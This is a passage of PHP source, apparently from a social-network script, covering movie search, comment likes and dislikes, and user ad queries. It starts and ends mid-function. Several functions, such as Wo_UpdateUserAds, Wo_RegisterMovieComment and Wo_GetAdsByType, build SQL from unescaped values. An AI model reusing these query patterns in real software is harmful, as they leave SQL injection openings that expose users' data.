$data = array(); $year = date('Y'); $limit = Wo_Secure($limit); $sql = "SELECT * FROM " . T_MOVIES . " ORDER BY `views` DESC LIMIT {$limit}"; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $fetched_data['cover'] = Wo_GetMedia($fetched_data['cover']); $fetched_data['source'] = Wo_GetMedia($fetched_data['source']); $fetched_data['url'] = Wo_SeoLink("index.php?link1=watch-film&film-id=" . $fetched_data['id']); $data[] = $fetched_data; } } return $data; } function Wo_SearchFilms($key) { global $sqlConnect, $wo; // if ($wo['loggedin'] == false || !$key) { // return false; // } $data = array(); $key = Wo_Secure($key); $sql = "SELECT * FROM " . T_MOVIES . " WHERE `name` LIKE '%$key%' OR `description` LIKE '%$key%' OR `genre` LIKE '%$key%' OR `stars` LIKE '%$key%' OR `stars` LIKE '%$key%' LIMIT 10"; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $fetched_data['url'] = Wo_SeoLink("index.php?link1=watch-film&film-id=" . $fetched_data['id']); $fetched_data['name'] = Wo_GetShortTitle($fetched_data['name']); $fetched_data['cover'] = Wo_GetMedia($fetched_data['cover']); $data[] = $fetched_data; } } return $data; } function Wo_DeleteFilm($id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !is_numeric($id) || ($wo['user']['admin'] != 1 && Wo_IsModerator() == false)) { return false; } $id = Wo_Secure($id); $sql = "DELETE FROM " . T_MOVIES . " WHERE `id` = '$id'"; return mysqli_query($sqlConnect, $sql); } function Wo_RegisterMovieComment($registration_data = array()) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $fields = '`' . implode('`, `', array_keys($registration_data)) . '`'; $data = '\'' . implode('\', \'', $registration_data) . '\''; $query = mysqli_query($sqlConnect, "INSERT INTO " . T_MOVIE_COMMS . " ({$fields}) VALUES ({$data})"); if ($query) { return mysqli_insert_id($sqlConnect); } return false; } function Wo_RegisterMovieCommentReply($registration_data = array()) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $fields = '`' . implode('`, `', array_keys($registration_data)) . '`'; $data = '\'' . implode('\', \'', $registration_data) . '\''; $query = mysqli_query($sqlConnect, "INSERT INTO " . T_MOVIE_COMM_REPLIES . " ({$fields}) VALUES ({$data})"); if ($query) { return mysqli_insert_id($sqlConnect); } return false; } function Wo_GetMovieCommentsCount($id) { global $sqlConnect, $wo; $is_owner = false; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1) { return false; } $count = 0; $sql = "SELECT COUNT(`id`) as blogComments FROM " . T_MOVIE_COMMS . " WHERE `movie_id` = '$id'"; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { $fetched_data = mysqli_fetch_assoc($query); $count += $fetched_data['blogComments']; } $sql = "SELECT COUNT(`id`) as blogComments FROM " . T_MOVIE_COMM_REPLIES . " WHERE `movie_id` = '$id'"; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { $fetched_data = mysqli_fetch_assoc($query); return $count + $fetched_data['blogComments']; } return $count; } function Wo_GetMovieComments($args = array()) { global $sqlConnect, $wo; $options = array( "id" => false, "offset" => 0, "movie_id" => false ); $args = array_merge($options, $args); $offset = Wo_Secure($args['offset']); $id = Wo_Secure($args['id']); $movie_id = Wo_Secure($args['movie_id']); $query_one = ''; $data = array(); if ($offset > 0) { $query_one .= " AND `id` < {$offset} AND `id` <> {$offset} "; } if ($id && $id > 0 && is_numeric($id)) { $query_one .= " AND `id` = '$id' "; } if ($movie_id && $movie_id > 0 && is_numeric($movie_id)) { $query_one .= " AND `movie_id` = '$movie_id' "; } $limit = " LIMIT 10 "; if (!empty($args['limit']) && is_numeric($args['limit']) && $args['limit'] > 0) { $limit = Wo_Secure($args['limit']); $limit = " LIMIT $limit "; } $query = mysqli_query($sqlConnect, "SELECT `id` FROM " . T_MOVIE_COMMS . " WHERE `id` > 0 {$query_one} ORDER BY `id` DESC $limit"); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $comment = Wo_GetMovieCommentData($fetched_data['id']); if ($comment && !empty($comment)) { $data[] = $comment; } } } return $data; } function Wo_GetMovieCommentReplies($args = array()) { global $sqlConnect, $wo; $options = array( "id" => false, "movie_id" => false, "comm_id" => false ); $args = array_merge($options, $args); $id = Wo_Secure($args['id']); $movie_id = Wo_Secure($args['movie_id']); $comm_id = Wo_Secure($args['comm_id']); $query_one = ''; $limit = ""; $data = array(); if ($id && $id > 0 && is_numeric($id)) { $query_one .= " AND `id` = '$id' "; } if ($movie_id && $movie_id > 0 && is_numeric($movie_id)) { $query_one .= " AND `movie_id` = '$movie_id' "; } if ($comm_id && $comm_id > 0 && is_numeric($comm_id)) { $query_one .= " AND `comm_id` = '$comm_id' "; } if (!empty($args['limit']) && is_numeric($args['limit']) && $args['limit'] > 0) { $limit = Wo_Secure($args['limit']); $limit = " LIMIT $limit"; } if (!empty($args['offset']) && is_numeric($args['offset']) && $args['offset'] > 0) { $offset = Wo_Secure($args['offset']); $query_one .= " AND `id` > $offset "; } $query = mysqli_query($sqlConnect, "SELECT `id` FROM " . T_MOVIE_COMM_REPLIES . " WHERE `id` > 0 {$query_one} ORDER BY `id` ASC $limit"); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $comment = Wo_GetMovieCommReplyData($fetched_data['id']); if ($comment && !empty($comment)) { $data[] = $comment; } } } return $data; } function Wo_IsMovieCommentOwner($id) { global $sqlConnect, $wo; $is_owner = false; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1) { return false; } $query = mysqli_query($sqlConnect, "SELECT * FROM " . T_MOVIE_COMMS . " WHERE `id` = '$id'"); if (mysqli_num_rows($query)) { $fetched_data = mysqli_fetch_assoc($query); if (!empty($fetched_data) && is_array($fetched_data)) { if ($fetched_data['user_id'] == $wo['user']['id'] || $wo['user']['admin'] == 1) { $is_owner = true; } } } return $is_owner; } function Wo_IsMovieCommReplyOwner($id) { global $sqlConnect, $wo; $is_owner = false; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1) { return false; } $query = mysqli_query($sqlConnect, "SELECT * FROM " . T_MOVIE_COMM_REPLIES . " WHERE `id` = '$id'"); if (mysqli_num_rows($query)) { $fetched_data = mysqli_fetch_assoc($query); if (!empty($fetched_data) && is_array($fetched_data)) { if ($fetched_data['user_id'] == $wo['user']['id'] || $wo['user']['admin'] == 1) { $is_owner = true; } } } return $is_owner; } function Wo_GetMovieCommentData($id) { global $sqlConnect, $wo; if (!$id || !is_numeric($id) || $id < 1) { return false; } $query = mysqli_query($sqlConnect, "SELECT * FROM " . T_MOVIE_COMMS . " WHERE `id` = '$id'"); if (mysqli_num_rows($query)) { $fetched_data = mysqli_fetch_assoc($query); $data = false; if (!empty($fetched_data)) { $fetched_data['user_data'] = Wo_UserData($fetched_data['user_id']); $fetched_data['is_owner'] = Wo_IsMovieCommentOwner($fetched_data['id']); $fetched_data['likes'] = Wo_GetMovieCommLikes($fetched_data['id']); $fetched_data['dislikes'] = Wo_GetMovieCommDisLikes($fetched_data['id']); $fetched_data['replies'] = Wo_GetMovieCommentReplies(array( 'comm_id' => $fetched_data['id'] )); $data = $fetched_data; } return $data; } return false; } function Wo_GetMovieCommReplyData($id) { global $sqlConnect, $wo; if (!$id || !is_numeric($id) || $id < 1) { return false; } $query = mysqli_query($sqlConnect, "SELECT * FROM " . T_MOVIE_COMM_REPLIES . " WHERE `id` = '$id'"); if (mysqli_num_rows($query)) { $fetched_data = mysqli_fetch_assoc($query); $data = false; if (!empty($fetched_data)) { $fetched_data['user_data'] = Wo_UserData($fetched_data['user_id']); $fetched_data['is_owner'] = Wo_IsMovieCommReplyOwner($fetched_data['id']); $fetched_data['likes'] = Wo_GetMovieCommReplyLikes($fetched_data['id']); $fetched_data['dislikes'] = Wo_GetMovieCommReplyDisLikes($fetched_data['id']); $data = $fetched_data; } return $data; } return false; } function Wo_GetMovieCommLikes($id) { global $sqlConnect, $wo; $id = Wo_Secure($id); $likes = 0; $sql = "SELECT COUNT(`id`) as movieCommentLikes FROM " . T_BM_LIKES . " WHERE `movie_comm_id` = '$id'"; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { if ($query && !empty($query)) { $fetched_data = mysqli_fetch_assoc($query); $likes = $fetched_data['movieCommentLikes']; } } return $likes; } function Wo_GetMovieCommDisLikes($id) { global $sqlConnect, $wo; $id = Wo_Secure($id); $likes = 0; $sql = "SELECT COUNT(`id`) as movieCommentDisLikes FROM " . T_BM_DISLIKES . " WHERE `movie_comm_id` = '$id'"; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { if ($query && !empty($query)) { $fetched_data = mysqli_fetch_assoc($query); $likes = $fetched_data['movieCommentDisLikes']; } } return $likes; } function Wo_GetMovieCommReplyDisLikes($id) { global $sqlConnect, $wo; $id = Wo_Secure($id); $likes = 0; $sql = "SELECT COUNT(`id`) as movieCommentReplyDisLikes FROM " . T_BM_DISLIKES . " WHERE `movie_commreply_id` = '$id'"; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { if ($query && !empty($query)) { $fetched_data = mysqli_fetch_assoc($query); $likes = $fetched_data['movieCommentReplyDisLikes']; } } return $likes; } function Wo_GetMovieCommReplyLikes($id) { global $sqlConnect, $wo; $id = Wo_Secure($id); $likes = 0; $sql = "SELECT COUNT(`id`) as movieCommentReplyLikes FROM " . T_BM_LIKES . " WHERE `movie_commreply_id` = '$id'"; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { if ($query && !empty($query)) { $fetched_data = mysqli_fetch_assoc($query); $likes = $fetched_data['movieCommentReplyLikes']; } } return $likes; } function Wo_IsMovieCommentLikeExists($id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1) { return false; } $id = Wo_Secure($id); $user = $wo['user']['id']; $sql = "SELECT `id` FROM " . T_BM_LIKES . " WHERE `movie_comm_id` = '$id' AND `user_id` = '$user'"; $exists = false; $query = mysqli_query($sqlConnect, $sql); if ($query && !empty($query)) { $likes = mysqli_num_rows($query); if ($likes > 0) { $exists = true; } } return $exists; } function Wo_IsMovieCommentDisLikeExists($id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1) { return false; } $id = Wo_Secure($id); $user = $wo['user']['id']; $sql = "SELECT `id` FROM " . T_BM_DISLIKES . " WHERE `movie_comm_id` = '$id' AND `user_id` = '$user'"; $exists = false; $query = mysqli_query($sqlConnect, $sql); if ($query && !empty($query)) { $likes = mysqli_num_rows($query); if ($likes > 0) { $exists = true; } } return $exists; } function Wo_IsMovieCommentReplyLikeExists($id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1) { return false; } $id = Wo_Secure($id); $user = $wo['user']['id']; $sql = "SELECT `id` FROM " . T_BM_LIKES . " WHERE `movie_commreply_id` = '$id' AND `user_id` = '$user'"; $exists = false; $query = mysqli_query($sqlConnect, $sql); if ($query && !empty($query)) { $likes = mysqli_num_rows($query); if ($likes > 0) { $exists = true; } } return $exists; } function Wo_IsMovieCommentReplyDisLikeExists($id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1) { return false; } $id = Wo_Secure($id); $user = $wo['user']['id']; $sql = "SELECT `id` FROM " . T_BM_DISLIKES . " WHERE `movie_commreply_id` = '$id' AND `user_id` = '$user'"; $exists = false; $query = mysqli_query($sqlConnect, $sql); if ($query && !empty($query)) { $likes = mysqli_num_rows($query); if ($likes > 0) { $exists = true; } } return $exists; } function Wo_RemoveMovieCommentLikes($id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1) { return false; } $id = Wo_Secure($id); $user = $wo['user']['id']; $sql = "DELETE FROM " . T_BM_LIKES . " WHERE `movie_comm_id` = '$id' AND `user_id` = '$user'"; return mysqli_query($sqlConnect, $sql); } function Wo_RemoveMovieCommentDisLikes($id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1) { return false; } $id = Wo_Secure($id); $user = $wo['user']['id']; $sql = "DELETE FROM " . T_BM_DISLIKES . " WHERE `movie_comm_id` = '$id' AND `user_id` = '$user'"; return mysqli_query($sqlConnect, $sql); } function Wo_RemoveMovieCommentReplyDisLikes($id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1) { return false; } $id = Wo_Secure($id); $user = $wo['user']['id']; $sql = "DELETE FROM " . T_BM_DISLIKES . " WHERE `movie_commreply_id` = '$id' AND `user_id` = '$user'"; return mysqli_query($sqlConnect, $sql); } function Wo_RemoveMovieCommentReplyLikes($id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1) { return false; } $id = Wo_Secure($id); $user = $wo['user']['id']; $sql = "DELETE FROM " . T_BM_LIKES . " WHERE `movie_commreply_id` = '$id' AND `user_id` = '$user'"; return mysqli_query($sqlConnect, $sql); } function Wo_AddMovieCommentLikes($id, $movie) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1 || !$movie || $movie < 1) { return false; } $user = $wo['user']['id']; $id = Wo_Secure($id); $movie = Wo_Secure($movie); $comment = Wo_GetMovieCommentData($id); $result = false; @Wo_RemoveMovieCommentDisLikes($id); if ($comment && !empty($comment) && !Wo_IsMovieCommentLikeExists($id)) { $sql = "INSERT INTO " . T_BM_LIKES . " (`id`, `blog_comm_id`,`blog_commreply_id`, `movie_comm_id`,`movie_commreply_id`, `user_id`,`movie_id`) VALUES (NULL, '0', '0', '$id', '0', '$user','$movie')"; $query = mysqli_query($sqlConnect, $sql); if ($query) { $result = true; } } else if ($comment && !empty($comment) && Wo_RemoveMovieCommentLikes($id)) { $result = true; } return $result; } function Wo_AddMovieCommentDisLikes($id, $movie) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1 || !$movie || $movie < 1) { return false; } $id = Wo_Secure($id); $movie = Wo_Secure($movie); $comment = Wo_GetMovieCommentData($id); $result = false; $user = $wo['user']['id']; @Wo_RemoveMovieCommentLikes($id); if ($comment && !empty($comment) && !Wo_IsMovieCommentDisLikeExists($id)) { $sql = "INSERT INTO " . T_BM_DISLIKES . " (`id`, `blog_comm_id`,`blog_commreply_id`, `movie_comm_id`,`movie_commreply_id`, `user_id`,`movie_id`) VALUES (NULL, '0', '0','$id','0', '$user','$movie')"; $query = mysqli_query($sqlConnect, $sql); if ($query) { $result = true; } } else if ($comment && !empty($comment) && Wo_RemoveMovieCommentDisLikes($id)) { $result = true; } return $result; } function Wo_AddMovieCommReplyLikes($id, $movie) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1 || !$movie || $movie < 1) { return false; } $id = Wo_Secure($id); $movie = Wo_Secure($movie); $comment = Wo_GetMovieCommReplyData($id); $result = false; $user = $wo['user']['id']; if ($comment && !empty($comment) && !Wo_IsMovieCommentReplyLikeExists($id)) { $sql = "INSERT INTO " . T_BM_LIKES . " (`id`, `blog_comm_id`,`blog_commreply_id`, `movie_comm_id`, `movie_commreply_id`, `user_id`,`movie_id`) VALUES (NULL, '0', '0','0','$id', '$user','$movie')"; $query = mysqli_query($sqlConnect, $sql); if ($query) { $result = true; @Wo_RemoveMovieCommentReplyDisLikes($id); } } else if ($comment && !empty($comment) && Wo_RemoveMovieCommentReplyLikes($id)) { $result = true; } return $result; } function Wo_AddMovieCommReplyDisLikes($id, $movie) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1 || !$movie || $movie < 1) { return false; } $id = Wo_Secure($id); $movie = Wo_Secure($movie); $comment = Wo_GetMovieCommReplyData($id); $result = false; $user = $wo['user']['id']; if ($comment && !empty($comment) && !Wo_IsMovieCommentReplyDisLikeExists($id)) { $sql = "INSERT INTO " . T_BM_DISLIKES . " (`id`, `blog_comm_id`,`blog_commreply_id`, `movie_comm_id`,`movie_commreply_id`, `user_id`,`movie_id`) VALUES (NULL, '0', '0','0','$id', '$user','$movie')"; $query = mysqli_query($sqlConnect, $sql); if ($query) { $result = true; @Wo_RemoveMovieCommentReplyLikes($id); } } else if ($comment && !empty($comment) && Wo_RemoveMovieCommentReplyDisLikes($id)) { $result = true; } return $result; } function Wo_GetSideBarAds() { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $user_gender = $wo['user']['gender']; $user_id = $wo['user']['user_id']; $user_country = $wo['user']['country_id']; $query_one = ''; $con_list = implode(',', $wo['ad-con']['ads']); if ($con_list) { $query_one .= " AND `id` NOT IN ({$con_list}) "; } $start = date('Y-m-d'); $entire_site = " OR `appears` = 'entire' "; $sql = "SELECT * FROM " . T_USER_ADS . " WHERE `user_id` IN (SELECT `user_id` FROM " . T_USERS . " WHERE `wallet` > 0) AND `status` = '1' AND (`appears` = 'sidebar' {$entire_site} ) AND (`gender` = '$user_gender' OR `gender` = 'all') AND `audience` LIKE '%$user_country%' {$query_one} AND ((start = '') OR (start <= '{$start}' && end >= '{$start}')) AND ((budget = 0) OR (spent < budget)) ORDER BY RAND() LIMIT 2"; $query = mysqli_query($sqlConnect, $sql); $data = array(); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $fetched_data['ad_media'] = Wo_GetMedia($fetched_data['ad_media']); $fetched_data['headline'] = Wo_GetShortTitle($fetched_data['headline'], false, 30); $fetched_data['description'] = Wo_GetShortTitle($fetched_data['description'], false, 60); if ($fetched_data['bidding'] == 'views') { @Wo_RegisterAdConversionView($fetched_data['id']); } $data[] = $fetched_data; } } return $data; } function Wo_DeleteMovieComment($id, $movie) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1 || !Wo_IsMovieCommentOwner($id) || !$movie || $movie < 1) { return false; } $movie = Wo_Secure($movie); @mysqli_query($sqlConnect, "DELETE FROM " . T_MOVIE_COMM_REPLIES . " WHERE `comm_id` = '$id'"); @mysqli_query($sqlConnect, "DELETE FROM " . T_BM_LIKES . " WHERE `movie_comm_id` = '$id' AND `movie_id` = '$movie'"); @mysqli_query($sqlConnect, "DELETE FROM " . T_BM_DISLIKES . " WHERE `movie_comm_id` = '$id' AND `movie_id` = '$movie'"); return mysqli_query($sqlConnect, "DELETE FROM " . T_MOVIE_COMMS . " WHERE `id` = '$id'"); } function Wo_DeleteMovieCommReply($id, $movie) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1 || !Wo_IsMovieCommReplyOwner($id) || !$movie || $movie < 1) { return false; } @mysqli_query($sqlConnect, "DELETE FROM " . T_BM_LIKES . " WHERE `movie_commreply_id` = '$id' AND `movie_id` = '$movie'"); @mysqli_query($sqlConnect, "DELETE FROM " . T_BM_DISLIKES . " WHERE `movie_commreply_id` = '$id' AND `movie_id` = '$movie'"); return mysqli_query($sqlConnect, "DELETE FROM " . T_MOVIE_COMM_REPLIES . " WHERE `id` = '$id'"); } function Wo_UpdateUserAds($id, $update_data = array()) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || empty($update_data)) { return false; } foreach ($update_data as $field => $data) { $update[] = '`' . $field . '` = \'' . $data . '\''; } $impload = implode(', ', $update); $query_one = "UPDATE " . T_USER_ADS . " SET {$impload} WHERE `id` = {$id} "; $query = mysqli_query($sqlConnect, $query_one); return $query; } function Wo_IsAdsOwnerNotAdmin($ads_id = 0, $user_id = 0) { global $sqlConnect, $wo; if (empty($user_id)) { $user_id = $wo['user']['user_id']; } $user_id = Wo_Secure($user_id); $ads_id = Wo_Secure($ads_id); $result = false; $query = mysqli_query($sqlConnect, "SELECT * FROM " . T_USER_ADS . " WHERE `id` = '$ads_id'"); if (mysqli_num_rows($query)) { if (!empty($query)) { $fetched_data = mysqli_fetch_assoc($query); if ($fetched_data['user_id'] == $wo['user']['user_id']) { $result = true; } } } return $result; } function Wo_IsAdsOwner($ads_id = 0, $user_id = 0) { global $sqlConnect, $wo; if (empty($user_id)) { $user_id = $wo['user']['user_id']; } $user_id = Wo_Secure($user_id); $ads_id = Wo_Secure($ads_id); $result = false; $query = mysqli_query($sqlConnect, "SELECT * FROM " . T_USER_ADS . " WHERE `id` = '$ads_id'"); if (mysqli_num_rows($query)) { if (!empty($query)) { $fetched_data = mysqli_fetch_assoc($query); if ($fetched_data['user_id'] == $wo['user']['user_id'] || $wo['user']['admin'] == 1 || Wo_IsModerator() == true) { $result = true; } } } return $result; } function Wo_DeleteUserAd($id = false) { global $sqlConnect, $wo, $db; if ($wo['loggedin'] == false || !$id || !Wo_IsAdsOwner($id)) { return false; } $ad = $db->where('id', $id)->getOne(T_USER_ADS); if (!empty($ad) && !empty($ad->ad_media)) { @unlink($ad->ad_media); Wo_DeleteFromToS3($ad->ad_media); } $query_one = "DELETE FROM " . T_USER_ADS . " WHERE `id` = {$id} "; $query = mysqli_query($sqlConnect, $query_one); return $query; } function Wo_GetMyAds($args = array()) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $options = array( "id" => false, "offset" => 0, 'limit' => 30 ); $args = array_merge($options, $args); $offset = Wo_Secure($args['offset']); $id = Wo_Secure($args['id']); $limit = Wo_Secure($args['limit']); $user_id = $wo['user']['user_id']; $query_one = ''; $data = array(); if ($offset > 0) { $query_one .= " AND `id` < {$offset} AND `id` <> {$offset} "; } if ($id && $id > 0 && is_numeric($id)) { $query_one .= " AND `id` = '$id' "; } $sql = "SELECT `id` FROM " . T_USER_ADS . " WHERE `user_id` = '$user_id' {$query_one} ORDER BY `id` DESC LIMIT " . $limit; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $ad = Wo_GetUserAdData($fetched_data['id']); if ($ad && !empty($ad)) { $ad['name'] = Wo_GetShortTitle($ad['name']); $ad['edit-url'] = Wo_SeoLink('index.php?link1=edit-ads&id=' . $ad['id']); $ad['chart-url'] = Wo_SeoLink('index.php?link1=chart-ads&id=' . $ad['id']); $data[] = $ad; } } } return $data; } function Wo_GetMytransactions($args = array()) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $options = array( "id" => false, "offset" => 0, 'user_id' => 0 ); $args = array_merge($options, $args); $offset = Wo_Secure($args['offset']); $id = Wo_Secure($args['id']); $user_id = $wo['user']['user_id']; if (!empty($args['user_id'])) { $user_id = Wo_Secure($args['user_id']); } $data = array(); if ($offset > 0) { $query_one .= " AND `id` < {$offset} AND `id` <> {$offset} "; } $sql = "SELECT * FROM " . T_PAYMENT_TRANSACTIONS . " WHERE `userid` = '$user_id' ORDER BY `id` DESC LIMIT 30"; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $data[] = $fetched_data; } } return $data; } function Wo_GetUserAdData($id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id || !is_numeric($id) || $id < 1) { return false; } $table = T_USER_ADS; $query = mysqli_query($sqlConnect, "SELECT * FROM `$table` WHERE `id` = '$id' "); if (mysqli_num_rows($query)) { $fetched_data = mysqli_fetch_assoc($query); $data = false; if (!empty($fetched_data)) { $fetched_data['user_data'] = Wo_UserData($fetched_data['user_id']); $fetched_data['is_owner'] = Wo_IsAdsOwner($fetched_data['id']); $fetched_data['country_ids'] = array_values(explode(',', $fetched_data['audience'])); $fetched_data['ad_media'] = Wo_GetMedia($fetched_data['ad_media']); $data = $fetched_data; } return $data; } return false; } function Wo_GetPostAds($last_id = 0) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $user_gender = $wo['user']['gender']; $user_id = $wo['user']['user_id']; $user_country = $wo['user']['country_id']; $query_one = ''; $con_list = false; if (!empty($wo['ad-con']) && !empty($wo['ad-con']['ads'])) { $con_list = implode(',', $wo['ad-con']['ads']); } if ($last_id && $last_id > 0) { $query_one .= " AND `id` < '$last_id' AND `id` <> '$last_id' "; } if ($con_list) { $query_one .= " AND `id` NOT IN ({$con_list}) "; } $start = date('Y-m-d'); $entire_site = " OR `appears` = 'entire' "; $sql = "SELECT * FROM " . T_USER_ADS . " WHERE `user_id` IN (SELECT `user_id` FROM " . T_USERS . " WHERE `wallet` > 0) AND `status` = '1' AND (`appears` = 'post' {$entire_site} ) AND (`gender` = '$user_gender' OR `gender` = 'all') AND `audience` LIKE '%$user_country%' {$query_one} AND ((start = '') OR (start <= '{$start}' && end >= '{$start}')) AND ((budget = 0) OR (spent < budget)) ORDER BY `id` DESC LIMIT 100"; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { $fetched_data = mysqli_fetch_assoc($query); $data = array(); if (is_array($fetched_data) && !empty($fetched_data)) { $fetched_data['user_data'] = Wo_UserData($fetched_data['user_id']); $fetched_data['is_owner'] = Wo_IsAdsOwner($fetched_data['id']); $fetched_data['ad_media'] = Wo_GetMedia($fetched_data['ad_media']); $fetched_data['postType'] = 'ad'; if (!empty($fetched_data['page_id'])) { $page = Wo_PageData($fetched_data['page_id']); $fetched_data['user_data']['avatar'] = $page['avatar']; } $data = $fetched_data; } return $data; } return array(); } function Wo_GetAdsByType($type = 'post', $last_id = 0) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } if (empty($type)) { return false; } if (!empty($type) && in_array($type, array( 'post', 'sidebar', 'video', 'jobs', 'forum', 'movies', 'offer', 'funding' ))) { $type = Wo_Secure($type); } $user_gender = $wo['user']['gender']; $user_id = $wo['user']['user_id']; $user_country = $wo['user']['country_id']; $query_one = ''; $con_list = false; if (!empty($wo['ad-con']) && !empty($wo['ad-con']['ads'])) { $con_list = implode(',', $wo['ad-con']['ads']); } if ($last_id && $last_id > 0) { $query_one .= " AND `id` < '$last_id' AND `id` <> '$last_id' "; } if ($con_list) { $query_one .= " AND `id` NOT IN ({$con_list}) "; } $entire_site = " OR `appears` = 'entire' "; $start = date('Y-m-d'); $sql = "SELECT * FROM " . T_USER_ADS . " WHERE `user_id` IN (SELECT `user_id` FROM " . T_USERS . " WHERE `wallet` > 0) AND `status` = '1' AND (`appears` = '{$type}' {$entire_site}) AND (`gender` = '$user_gender' OR `gender` = 'all') AND `audience` LIKE '%$user_country%' {$query_one} AND ((start = '') OR (start <= '{$start}' && end >= '{$start}')) AND ((budget = 0) OR (spent < budget)) ORDER BY RAND() LIMIT 1"; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { $fetched_data = mysqli_fetch_assoc($query); $data = array(); if (is_array($fetched_data) && !empty($fetched_data)) { $fetched_data['user_data'] = Wo_UserData($fetched_data['user_id']); $fetched_data['is_owner'] = Wo_IsAdsOwner($fetched_data['id']); $fetched_data['ad_media'] = Wo_GetMedia($fetched_data['ad_media']); $fetched_data['postType'] = 'ad'; if (!empty($fetched_data['page_id'])) { $page = Wo_PageData($fetched_data['page_id']); $fetched_data['user_data']['avatar'] = $page['avatar']; } if ($fetched_data['bidding'] == 'views') { @Wo_RegisterAdConversionView($fetched_data['id']); } $data = $fetched_data; } return $data; } return array(); } function Wo_GetAds($last_id = 0) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $query_one = ''; if ($last_id && $last_id > 0) { $query_one .= " AND `id` < '$last_id' AND `id` <> '$last_id' "; } $sql = "SELECT * FROM " . T_USER_ADS . " WHERE `id` > 0 {$query_one} ORDER BY `id` DESC"; $query = mysqli_query($sqlConnect, $sql); $data = array(); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $fetched_data['user_data'] = Wo_UserData($fetched_data['user_id']); $fetched_data['is_owner'] = Wo_IsAdsOwner($fetched_data['id']); $fetched_data['ad_media'] = Wo_GetMedia($fetched_data['ad_media']); $fetched_data['edit-url'] = Wo_SeoLink('index.php?link1=manage-ads&id=' . $fetched_data['id']); $data[] = $fetched_data; } } return $data; } function Wo_GetAllStories($last_id = 0) { global $sqlConnect, $wo; if ($wo['loggedin'] == false) { return false; } $query_one = ''; if ($last_id && $last_id > 0) { $query_one .= " AND `id` < '$last_id' AND `id` <> '$last_id' "; } $sql = "SELECT * FROM " . T_USER_STORY . " WHERE `id` > 0 {$query_one} ORDER BY `id` DESC LIMIT 1000000"; $query = mysqli_query($sqlConnect, $sql); $data = array(); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $story_expire = $fetched_data['expire']; $fetched_data['user_data'] = Wo_UserData($fetched_data['user_id']); $fetched_data['expires'] = date("Y/m/d", $fetched_data['expire']); $data[] = $fetched_data; } } return $data; } function Wo_IsConversionExists($id) { global $wo; $adv_ids = $wo['ad-con']; $result = false; $is_admin = Wo_IsAdsOwnerNotAdmin($id); if ($id && is_array($adv_ids) && isset($adv_ids['ads'])) { if ($is_admin == false) { if (array_key_exists($id, $adv_ids['ads'])) { $result = true; } else { $adv_ids['ads'][$id] = $id; setcookie('ad-con', htmlentities(json_encode($adv_ids)), time() + (10 * 365 * 24 * 60 * 60)); } } } else { setcookie('ad-con', htmlentities(json_encode(array( 'date' => date('Y-m-d'), 'ads' => array() ))), time() + (10 * 365 * 24 * 60 * 60)); $result = true; } return $result; } function Wo_RegisterAdConversionClick($id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || !$id) { return false; } $ad = Wo_GetUserAdData($id); $user = $wo['user']['user_id']; $result = false; $is_admin = Wo_IsAdsOwnerNotAdmin($id); if ($ad && is_array($ad) && !empty($ad) && 